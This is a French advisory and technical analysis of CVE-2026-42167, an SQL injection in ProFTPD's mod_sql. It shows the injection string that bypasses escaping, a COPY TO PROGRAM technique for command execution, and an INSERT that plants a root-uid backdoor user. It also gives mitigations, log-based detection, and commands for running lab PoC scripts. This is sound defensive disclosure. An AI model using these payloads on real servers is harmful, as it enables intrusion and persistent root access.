
Analyse technique et preuve de concept pour CVE-2026-42167, une injection SQL critique dans ProFTPD mod_sql permettant le contournement de l'authentification, l'injection d'utilisateurs backdoor et l'exécution de code à distance.
CVE-2026-42167 est une vulnérabilité critique d'injection SQL dans le module mod_sql de ProFTPD qui permet le contournement de l'authentification, l'injection d'utilisateurs backdoor et l'exécution de code à distance (RCE).
| Attribut | Valeur |
|---|
| Type | Injection SQL (CWE-89) |
| Gravité | Élevée/Critique |
| CVSS v3 | 8.1 |
| Composant | mod_sql dans ProFTPD < 1.3.9a |
| Signalé par | ZeroPath Research |
| Date | 28 avril 2026 |
is_escaped_text()ProFTPD utilise la fonction is_escaped_text() pour déterminer si une valeur a déjà été assainie avant de l'insérer dans une requête SQL. La fonction suppose que toute entrée qui :
''...a déjà été échappée et ne nécessite aucun traitement supplémentaire.
Un attaquant peut envoyer un nom d'utilisateur malveillant comme :
USER ' || (SELECT 1) ||'
Lorsqu'il est inséré dans une requête SQL comme :
INSERT "'%U', '%r', '%m'" activity_log
Cela produit :
INSERT "'' || (SELECT 1) || ''" activity_log
Le payload est exécuté comme SQL arbitraire car les opérateurs || concatènent des chaînes vides autour de la commande injectée.
Exigences :
%U ou %{basename}Technique :
COPY (SELECT 1) TO PROGRAM 'commande_malveillante'
Exécute des commandes au niveau du système d'exploitation en tant qu'utilisateur postgres.
Exigences :
SQLAuthenticate activé%U dans SQLLog ERR_* (pré-authentification)Technique :
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
L'attaquant injecte un utilisateur backdoor avec uid=0 (root) et un accès à tout le système de fichiers.
Exigences :
Technique : Injection SQL aveugle basée sur le temps pour extraire les identifiants caractère par caractère.
| Variable | Signification | Portée |
|---|---|---|
%U | Nom d'utilisateur original (avant authentification) | Pré-auth |
%A | Mot de passe de connexion anonyme | Pré-auth |
%J | Paramètres de la commande | Pré-auth |
%m | Verbe FTP (STOR, RETR, etc.) | Pré-auth |
%{basename} | Composant du nom de fichier | Post-auth |
%l | Réponse ident (RFC 1413) | Pré-auth (si identd est disponible) |
Pré-authentification (la plus critique) :
%U + SQLLog ERR_* → Aucun identifiant requis
Post-authentification :
%{basename} + SQLLog STOR → Nécessite n'importe quel utilisateur FTP valide
Mettre à jour immédiatement vers ProFTPD 1.3.9a ou supérieur :
# Vérifier la version actuelle
proftpd -v
# Mettre à jour (exemple pour Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
Si vous ne pouvez pas mettre à jour immédiatement :
# Commenter ou supprimer ces lignes dans proftpd.conf
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- Dans PostgreSQL, créer un utilisateur sans privilèges de superutilisateur
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- NE PAS accorder SUPERUSER
TraceLog /var/log/proftpd/trace.log
Trace sql:17
Rechercher dans les journaux de trace de ProFTPD (avec Trace sql:17 activé) :
text 'payload' is already escaped, skipping escaping it again
Ce message indique qu'une tentative de bypass a été traitée par le moteur vulnérable.
# Activer les traces détaillées
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# Redémarrer ProFTPD
sudo systemctl restart proftpd
# Surveiller les journaux
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| Version | Statut |
|---|---|
| < 1.3.9 | ❌ Vulnérable |
| 1.3.9 | ❌ Vulnérable |
| ≥ 1.3.9a | ✅ Corrigé |
| ≥ 1.3.10rc1 | ✅ Corrigé |
# Cloner le dépôt
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# Prérequis
# - Docker
# - Git
# - Python 3.10+
# - uv (gestionnaire de paquets Python)
# Configurer l'environnement vulnérable
cd setup
./setup.sh
# Exécuter les PoCs
cd ../pocs
python3 preauth_user_backdoor.py # Injecter un utilisateur backdoor (pré-auth)
python3 preauth_user_rce.py # RCE via COPY TO PROGRAM (pré-auth)
python3 postauth_stor_backdoor.py # Injecter un utilisateur (post-auth)
python3 postauth_stor_rce.py # RCE (post-auth)
# Nettoyer
cd ../setup
./teardown.sh
| Date | Événement |
|---|---|
| 2026-03-28 | Vulnérabilité signalée à ProFTPD |
| 2026-04-07 | Vérification et développement du correctif |
| 2026-04-24 | CVE-2026-42167 attribué |
| 2026-04-27 | Correctif publié (commit af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | ProFTPD 1.3.9a publié |
SQLLog sur tous les serveurs ProFTPDDernière mise à jour : 28 avril 2026
Source : ZeroPath Research, MITRE CVE, NVD